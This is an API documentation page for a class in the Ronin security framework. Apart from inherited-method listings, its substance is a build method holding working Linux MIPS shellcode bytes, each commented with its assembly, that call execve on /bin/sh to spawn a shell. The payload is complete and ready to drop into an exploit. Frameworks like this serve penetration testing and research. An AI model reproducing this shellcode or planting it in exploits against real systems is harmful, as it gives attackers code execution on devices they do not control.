Class: Ronin::Payloads::Shellcode::Linux::MIPS::ExecShell

Inherits:
ExecShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb

Overview

Linux MIPS shellcode that calls execve() with /bin/sh.

Instance Attribute Summary

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the shellcode.



53
54
55
56
57
58
59
60
61
62
63
64
65
66
 
# File 'lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb', line 53

def build
  @payload = "\x28\x06\xff\xff".b + # slti    a2,zero,-1
             "\x3c\x0f\x2f\x2f".b + # lui     t7,0x2f2f
             "\x35\xef\x62\x69".b + # ori     t7,t7,0x6269
             "\xaf\xaf\xff\xf4".b + # sw      t7,-12(sp)
             "\x3c\x0e\x6e\x2f".b + # lui     t6,0x6e2f
             "\x35\xce\x73\x68".b + # ori     t6,t6,0x7368
             "\xaf\xae\xff\xf8".b + # sw      t6,-8(sp)
             "\xaf\xa0\xff\xfc".b + # sw      zero,-4(sp)
             "\x27\xa4\xff\xf4".b + # addiu   a0,sp,-12
             "\x28\x05\xff\xff".b + # slti    a1,zero,-1
             "\x24\x02\x0f\xab".b + # li      v0,4011
             "\x01\x01\x01\x0c".b   # syscall 0x40404
end